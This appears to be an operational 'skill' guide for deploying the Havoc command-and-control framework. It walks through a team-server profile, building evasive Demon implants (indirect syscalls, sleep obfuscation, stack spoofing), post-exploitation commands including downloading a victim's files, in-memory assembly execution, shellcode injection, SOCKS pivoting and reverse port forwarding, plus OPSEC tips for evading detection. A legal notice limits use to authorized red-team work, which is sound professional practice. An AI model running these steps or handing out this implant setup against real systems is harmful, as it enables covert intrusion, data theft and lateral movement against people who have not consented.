Operating Havoc C2

Operating Havoc C2

Legal Notice: This skill is for authorized security testing, sanctioned red-team engagements, and education only. Deploying a C2 framework or its agents against systems you do not own or lack explicit written authorization to test is illegal. Operate strictly within a signed rules-of-engagement document.

Overview

Havoc is an open-source, modern command-and-control framework created by @C5pider (https://github.com/HavocFramework/Havoc). Its primary implant, the Demon, is written in C and assembly and was designed from the ground up for evasion: it supports indirect syscalls (Hell's Gate / Halo's Gate), return-address and stack spoofing, and sleep obfuscation techniques (Ekko / FOLIAGE) that encrypt the agent in memory while it sleeps. The team server is the backend that starts listeners, queues tasks, manages agent check-ins, and brokers operator connections over an encrypted WebSocket. Operators connect with the Havoc client, a Qt GUI.

Havoc's behavior is driven by a Yaotl profile — a configuration language forked from HashiCorp's HCL — which defines the team server, operators, listeners, and Demon defaults. Because Havoc has been observed in real intrusions and is favored for its evasion features, exercising it during authorized engagements is valuable for emulating advanced adversary tradecraft and for testing whether EDR and network sensors detect its HTTP(S) C2 and in-memory techniques. This skill covers building Havoc, writing a profile, launching the team server, generating Demon agents, and running post-exploitation and lateral movement.

When to Use

• When an authorized red-team engagement calls for an evasive, GUI-driven C2
• When emulating an adversary that uses Havoc/Demon (per threat intelligence) in a purple-team exercise
• When validating EDR detection of indirect syscalls, sleep obfuscation, and stack spoofing
• When demonstrating post-exploitation impact and lateral movement for a report

Prerequisites

• A dedicated Linux host (Debian/Ubuntu/Kali) for the team server
• Go 1.18+ for the team server; Python 3.10 and Qt5 libraries for the client
• mingw-w64 and nasm for cross-compiling the Demon for Windows targets
• Signed authorization / rules of engagement

Install dependencies and build from source:

# Clone the framework
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc

# Debian/Ubuntu/Kali build dependencies
sudo apt update && sudo apt install -y \
  git build-essential cmake libfontconfig1 libglu1-mesa-dev libgtest-dev \
  libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \
  libreadline-dev libffi-dev libsqlite3-dev libbz2-dev qtbase5-dev qtchooser \
  qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
  qtdeclarative5-dev golang-go python3.10 python3.10-dev mingw-w64 nasm

# Build the team server
make ts-build

# Build the client
make client-build

Objectives

• Author a Yaotl profile defining team server, operators, and a listener
• Launch the Havoc team server and connect with the client
• Create an HTTP(S) listener
• Generate an evasive Demon agent (EXE / shellcode) with sleep obfuscation
• Interact with the Demon and run post-exploitation commands
• Execute .NET assemblies and BOFs in-memory
• Pivot through the beachhead via SOCKS and port forwarding

MITRE ATT&CK Mapping

Related techniques exercised by the workflow:

Workflow

Step 1: Write a Yaotl profile

Create profiles/engagement.yaotl defining the team server, an operator, and an HTTP listener. Yaotl is HCL-style:

Teamserver {
    Host = "0.0.0.0"
    Port = 40056

    Build {
        Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "operator1" {
        Password = "ChangeMe_Str0ng!"
    }
}

Listeners {
    Http {
        Name     = "https-listener"
        Hosts    = ["c2.example.com"]
        HostBind = "0.0.0.0"
        PortBind = 443
        PortConn = 443
        Secure   = true   # HTTPS
    }
}

Demon {
    Sleep = 30
    Jitter = 25

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Step 2: Launch the team server

Run the team server with your profile (privileged ports may require sudo):

# Verbose run with a custom profile
./havoc server --profile profiles/engagement.yaotl -v

# Add debug logging
./havoc server --profile profiles/engagement.yaotl --verbose --debug

Step 3: Connect with the client

Launch the Qt client and connect to the team server using the operator credentials from the profile:

./havoc client

In the connect dialog: enter the team server host, port 40056, operator name operator1, and the profile password. The Demon panel and listener views appear once connected.

Step 4: Create / verify a listener

The HTTP listener defined in the profile loads automatically. To add another at runtime use Listeners → Add in the GUI and configure: Name, Hosts (callback domains/IPs), HostBind, PortBind, PortConn, and whether it is Secure (HTTPS).

Step 5: Generate a Demon agent

In the GUI go to Attack → Payload and configure the Demon build:

• Listener: https-listener
• Architecture: x64
• Format: Windows Exe, Windows Dll, or Windows Shellcode
• Sleep: e.g., 30 seconds with jitter
• Indirect Syscalls: Enabled (Hell's Gate / Halo's Gate)
• Sleep Technique: Ekko (encrypts agent memory during sleep)
• Stack Spoofing / Proxy Loading: Enabled
• Sleep Jmp Gadget: as available

Click Generate to produce the payload. Deliver it to the target through your authorized initial-access method.

Step 6: Interact with the Demon

When a Demon checks in it appears in the session table. Right-click → Interact (or double-click) to open the console. Core post-exploitation commands:

# Situational awareness
whoami
pwd
ls
ps
ipconfig
net localgroup administrators

# Token / privilege
getprivs
token list

# File operations
download C:\Users\victim\Documents\secrets.docx
upload /opt/tools/tool.exe C:\Windows\Temp\tool.exe

Step 7: In-memory execution (.NET and BOFs)

The Demon supports in-memory execution of .NET assemblies and Beacon Object Files, avoiding disk writes:

# Execute a .NET assembly in-memory (e.g., Seatbelt, Rubeus)
dotnet inline-execute /opt/tools/Seatbelt.exe -group=system

# Run a Beacon Object File
inline-execute /opt/bofs/whoami.o

Step 8: Process injection and migration

# Inject shellcode into a spawned/target process
shellcode inject x64 PID /tmp/payload.bin

# Run an assembly under a sacrificial process per profile Injection settings
proc create C:\Windows\System32\notepad.exe

Step 9: Pivot into segmented networks

# Start a SOCKS5 proxy through the Demon for proxychains tooling
socks add 1080

# Port forward (reverse) to reach an internal service
rportfwd add 8443 10.0.5.20 443

Step 10: Clean up

# Remove uploaded artifacts and exit the agent cleanly
rm C:\Windows\Temp\tool.exe
exit

Stop the team server (Ctrl-C) and revoke operator credentials at engagement end.

Tools and Resources

OPSEC and Detection Considerations

• Tune Sleep and Jitter high to reduce beacon regularity.
• Front HTTP(S) listeners with nginx/Apache redirectors; never expose the team server IP.
• Prefer in-memory dotnet inline-execute / BOFs over spawning child processes.

Validation Criteria

• Havoc team server and client built from source successfully
• Yaotl profile authored with team server, operator, and HTTP(S) listener
• Team server launched with the profile and operator connected via client
• HTTP(S) listener active
• Evasive Demon agent generated with sleep obfuscation and indirect syscalls
• Demon checks in and post-exploitation commands run
• A .NET assembly or BOF executed in-memory
• SOCKS proxy or port-forward established for pivoting
• Artifacts removed, agent exited, and team server stopped at cleanup